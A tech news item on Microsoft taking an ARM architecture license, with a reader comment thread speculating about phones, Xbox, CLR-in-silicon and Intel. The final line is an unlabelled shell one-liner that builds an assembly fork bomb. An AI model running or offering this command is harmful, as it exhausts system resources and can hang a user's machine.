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Microsoft Signs License With ARM
G143 and several other readers let us know that Microsoft has signed a licensing deal with ARM. "Microsoft signed an agreement with the UK-based ARM, giving Microsoft access to some of the chip designer's intellectual property. The two companies have worked together since 1997, but Ian Drew, ARM's EVP of marketing, said this is the first time Microsoft has become a licensee of ARM's architecture, a move which will allow Microsoft to design their own microarchitecture. Other licensees include Qualcomm, Marvell, and Infineon. Neither company would reveal the cost of the license. Speculation about Microsoft's intentions includes wondering whether the company is taking aim at the iPad, or perhaps looking to produce a next-generation Xbox without the 360's heat problems."
Embrace, extend,... thrive! I guess.
-- Cheers!
Is the soon to be announced licensing with And A Leg Technologies.
The first two things that come to mind when putting Microsoft and ARM together are Windows Phone 7 Phones and portable gaming systems, not slate tablets and full-on consoles.
They are licensing ARM so that they will be able to implement the 'halt_and_catch_fire" instruction specifically for that event...
I wonder what Intel's response is, especially since Microsoft is such a long-time partner. Apple went with A4, and here Microsoft is licensing ARM too. The emerging market is mobile computing, so what's the future for Intel? Surely, they can't live on x86 forever, and Atom currently isn't competitive with ARM when it comes to battery life.
The ARM core is so widely licensed that it would be hard to find a modern handheld device that does NOT contain one.
"Many semiconductor or IC design firms hold ARM licenses; Analog Devices, Atmel, Broadcom, Cirrus Logic, Energy Micro, Faraday Technology, Freescale, Fujitsu, Intel (through its settlement with Digital Equipment Corporation), IBM, Infineon Technologies, Nintendo, NXP Semiconductors, OKI, Qualcomm, Samsung, Sharp, STMicroelectronics, Texas Instruments and VLSI are some of the many companies who have licensed the ARM in one form or another" http://en.wikipedia.org/wiki/ARM_architecture#ARM_licensees
IMHO, this is a non-story.
Wherever You Go, There You Are
In before the "What's that giant thing in your pocket?" "That's what she said!" engine gets warm.
The folks at Apple understand what people want and understand how people work. They are also unscrupulous. It is dangerous to underestimate the power of this combination. It is easy to ridicule them, but it is to our detriment if we do recognize it and confront it.
"... ARMs supporting a CLR environment...."
Actually, that would be my guess: Microsoft wants to make an ARM chip that implements the Common Language Runtime in the microarchitecture, just as some ARM chips now implement the Java runtime in the microarchitecture. They may also want to add instructions to bring even more Trusted Platform Computing Model down into the ARM core.
They may also want to make an ARM core that implements a graphics accelerator more friendly to the Direct3D model (and less friendly to OpenGL ES) than is currently available.
www.eFax.com are spammers
Microsoft wants to make an ARM chip that implements the Common Language Runtime in the microarchitecture
The thought of Microsoft shipping code that they cannot patch later is at least somewhat amusing to me.
W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
i'm betting on 5 things - 1-5 most likely to doubt
#1) and and most likely (as it has the highest chance to fail) - MS tries to make it's own hardware for it's Win7 phone OS so that they don't get the bad rap they did with windows mobile on phones that didn't have the hardware to run them
#2) they might be looking into using it for the next xBox - and at that point doing it in-house so they don't have to rely on IBM as they have in the past (them supporting IBM who is also being supported by Sony can make it seem like they are supporting the competition)
#3) they might be looking into using them for their next HPC platform - it is at least 3-5 years out which is a good lead time for them to design and refine a new way of using exiting ARM cores.
4#) maybe they want to design and test extensions to the ARM archt that they don't want to trust a partner with - once they refine them submit them back to ARM (think of it as custom extensions for either Win7/8 Phone OS or xbox OS or HPC OS)
#5) maybe they are rethinking their canning of the courier - and are rather going to embrace it and actually make it with a competitive chance.
I find it odd that in my mind the list 1-5 of most likely to doubt is inverse of what i think would work out best for them.. and would be happy to see them do. Maybe its All of the above and a slice of pie?
'...if only "Jumping to a Conclusion" was an event in the Olympics.'
Speculation about Microsoft's intentions includes wondering whether the company is taking aim at the iPad, or perhaps looking to produce a next-generation Xbox without the 360's heat problems.
Seriously? Microsoft has been chasing the smartphone market for a while now, but keeps having performance issues. They want a custom designed chip for their next gen smartphone.
"You want to know how to help your kids? Leave them the fuck alone." -George Carlin
Fundamentally altering the ARM core logic at the level required to add CLR support (similar to the Java implementations) requires a license on a level that ARM does not give out. Only a handful of companies, Apple being one of them, hold the necessary license to do so (mostly the founding companies.)
Both the Game Boy Advance and the Nintendo DS used ARM7 and ARM9 chips. Now that Nintendo is using a different company from Japan to produce the architecture for the upcoming 3DS, perhaps Microsoft has decided to get into the handheld console race. I don't think this has anything to do with Apple or PC-related plans. This is the beginnings of X-Boy
Born to Play
That said, a Desktop level performance ARM chip is something that hasn't been done yet,
It has been done. I used to own a RISC PC desktop with 200Mhz StrongARM CPU at the time x86 PC's were maxing out with 90MHz Pentium. Other than in FP applications it ran laps around the Intel chips of the time.
It is also worth noting the StrongARM was in a plastic package with no heatsink as it dispated so little heat.
Ultimately the platform stalled at this CPU achievement and Intel eventually caught up and surpassed (on the speed front anyway). I often wonder if (the lack of speed bumps to StrongARM for a very long time) had anything to do with Intel taking over the design/manufacture.
Atom is a Xeon with things disabled due to manufacturing issues?? Dude you are out of your element.
Atoms are manufactured in different facilities, designed by different teams, in a completely separate division of the company! Also, Xeons consume an order of magnitude more power than Atom.
And remember that the reason Intel dominates is due to manufacturing capability. Nobody can touch them. They do not have massive batches of defective chips being packaged and sold.
Maybe they'll do ARM core that can run x86 instructions, Jazelle style. I.e. the most common 90% would map to ARM instructions via an extra pipeline stage, the rest would fault into an emulator.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;